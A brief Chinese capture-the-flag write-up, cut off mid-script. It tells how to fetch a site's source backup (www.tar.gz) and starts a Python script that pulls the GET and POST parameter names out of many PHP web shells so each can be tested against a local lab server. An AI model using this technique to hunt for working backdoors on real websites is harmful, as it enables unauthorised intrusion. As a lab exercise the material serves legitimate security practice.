根据提示在url/www.tar.gz拿到源码
随便打开几个看看
有很多shell 不过都是些不能用的 应该就是找到能利用的shell了 看来这道题就是考察写代码的能力了 自己写的(python3)
import os
import re
import requests
from multiprocessing import Pool
filePath = "E:\phpstudy_pro\WWW\src"
url = "http://127.0.0.1:8003/"
# 读取当前目录的文件
def readFileName():
return os.listdir(filePath)
# 得到当前文件的get请求,post请求
def getReq(fileName):
f = filePath + "\\" + fileName
file = open(f, 'r')
file_data = file.read()
# get请求
rpGet = re.findall("_GET\['(.*?)\'", file_data)
# print(rpGet)
# post请求
rpPost = re.findall("_POST\['(.*?)\'", file_data)
# print(rpPost)
file.close()
# 请求验证
isSuccess(fileName, gets